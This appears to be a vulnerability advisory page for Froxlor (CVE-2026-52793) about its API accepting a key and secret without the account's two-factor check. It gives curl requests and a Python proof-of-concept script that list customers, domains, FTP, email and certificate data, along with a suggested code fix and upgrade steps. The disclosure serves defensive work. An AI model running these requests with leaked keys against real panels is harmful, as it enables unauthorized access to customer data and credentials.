GHSA-f9rx-7wf7-jr36 CVE-2026-52793
Froxlor's API Authentication bypasses 2FA Authentication
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.33%
- Chance of exploitation in the next 30 days. Higher than 25.54% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-287 Improper Authentication
- Fix
2.3.7- Upgrade froxlor/froxlor to this version or later
Description
Summary
Froxlor's API authentication (FroxlorRPC::validateAuth) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.
An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.
Affected Code
Web UI — 2FA enforced (index.php:82-149):
if ($result['type_2fa'] != 0) {
// Redirects to 2FA input page
// Calls FroxlorTwoFactorAuth::verifyCode()
// Login is NOT completed without valid TOTP code
}
API — 2FA absent (lib/Froxlor/Api/FroxlorRPC.php:75-105):
private static function validateAuth(string $key, string $secret): bool
{
$sel_stmt = Database::prepare("
SELECT ak.*, a.api_allowed as admin_api_allowed,
c.api_allowed as cust_api_allowed, c.deactivated
FROM `api_keys` ak
LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
WHERE `apikey` = :ak AND `secret` = :as
");
$result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);
if ($result) {
if ($result['apikey'] == $key && $result['secret'] == $secret
&& ($result['valid_until'] == -1 || $result['valid_until'] >= time())
&& (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)
|| ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1
&& $result['deactivated'] == 0))) {
// Checks: key match, secret match, not expired, API allowed, not deactivated
// Missing: ANY check for type_2fa, TOTP verification, or 2FA status
return true;
}
}
throw new Exception('Invalid authorization credentials', 403);
}
There are zero references to 2FA, TOTP, type_2fa, or FroxlorTwoFactorAuth in the entire lib/Froxlor/Api/ directory:
$ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/
# (no output)
PoC
Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
- API enabled (
api.enabled=1) - Admin account has 2FA enabled (
type_2fa=1, TOTP configured) - Admin has an API key
Step 1: Confirm 2FA blocks web UI login
POST /index.php HTTP/1.1
Host: panel.example.com
Content-Type: application/x-www-form-urlencoded
loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send
Result: Redirect to index.php?showmessage=4 — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.
Step 2: Authenticate via API — no TOTP required
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{"command":"Customers.listing","params":{}}' \
https://panel.example.com/api.php
Result: HTTP 200 with full customer listing:
{
"data": {
"list": [
{
"loginname": "testcust",
"email": "test@froxlor.lab",
"name": "Test",
"firstname": "Customer"
}
]
}
}
No TOTP code was provided. No 2FA prompt was returned. Full access granted.
Step 3: Access additional sensitive resources
All of these succeed without any 2FA challenge:
# Domains
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
# FTP accounts (home directories, credentials)
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
# Email accounts
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
# MySQL databases
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
# SSL certificates (private keys)
curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php
# DNS records
curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php
165 API functions are accessible, including write operations (Customers.update, Domains.add, Ftps.add, etc.).
Automated PoC Script
#!/usr/bin/env python3
"""Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)"""
import json, sys, requests, urllib3
urllib3.disable_warnings()
target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]
r = requests.post(f"{target}/api.php", auth=(key, secret),
json={"command": "Customers.listing", "params": {}}, verify=False)
data = r.json()
print(f"HTTP {r.status_code}")
if "data" in data:
for c in data["data"].get("list", []):
print(f" {c['loginname']} | {c['email']}")
print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.")
Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET
Impact
When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:
- Customer data: PII (name, email, address) readable and modifiable
- Domains: Full control over domains, subdomains, DNS records
- Email accounts: Create, read, delete email accounts and forwarders
- FTP accounts: Access home directory paths and credentials
- MySQL databases: Full database management
- SSL certificates: Read private keys, modify certificate bindings
- 165 API functions: Including all write operations
API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.
Comparison with CVE-2023-3173
CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as Critical ($60 bounty) and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.
Suggested Fix
Add 2FA verification to FroxlorRPC::validateAuth(). When the authenticated user has type_2fa != 0, require a TOTP code as an additional API parameter:
// lib/Froxlor/Api/FroxlorRPC.php, after line 100:
// Check 2FA if enabled for this user
if (!empty($result['adminid'])) {
$user = Database::pexecute_first(
Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"),
['id' => $result['adminid']]
);
} else {
$user = Database::pexecute_first(
Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"),
['id' => $result['customerid']]
);
}
if ($user && $user['type_2fa'] != 0) {
// Require X-2FA-Code header or 'totp_code' in request body
$totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null;
if (empty($totp_code)) {
throw new Exception('2FA code required', 401);
}
$tfa = new FroxlorTwoFactorAuth($user['data_2fa']);
if (!$tfa->verifyCode($totp_code)) {
throw new Exception('Invalid 2FA code', 403);
}
}
Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| froxlor/froxlor | < 2.3.7 |
2.3.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
froxlor/froxlor Packagist → 2.3.7
- composer
composer require froxlor/froxlor:^2.3.7
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-287: Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
How to prevent it
- Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7788-ghfq-c6mh Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints | Critical | Also affects froxlor/froxlor |
| GHSA-xpr4-8vp6-c87j Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection | Medium | Also affects froxlor/froxlor |
| GHSA-5rw4-4665-cvwf Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields | Medium | Also affects froxlor/froxlor |
| GHSA-w27m-rmmf-g5w4 Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration | High | Also affects froxlor/froxlor |
| GHSA-43gm-9rr3-cx7g Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover | High | Also affects froxlor/froxlor |
| GHSA-q4rm-m6xh-5pv7 Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API | Medium | Also affects froxlor/froxlor |
| GHSA-mr9h-45p9-fg8h Froxlor: Authenticated customers can read other customers' allowed sender aliases | Medium | Also affects froxlor/froxlor |
| GHSA-37m5-m4q3-fc6x Froxlor: BIND Zone File Injection via TXT Record Content | High | Also affects froxlor/froxlor |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor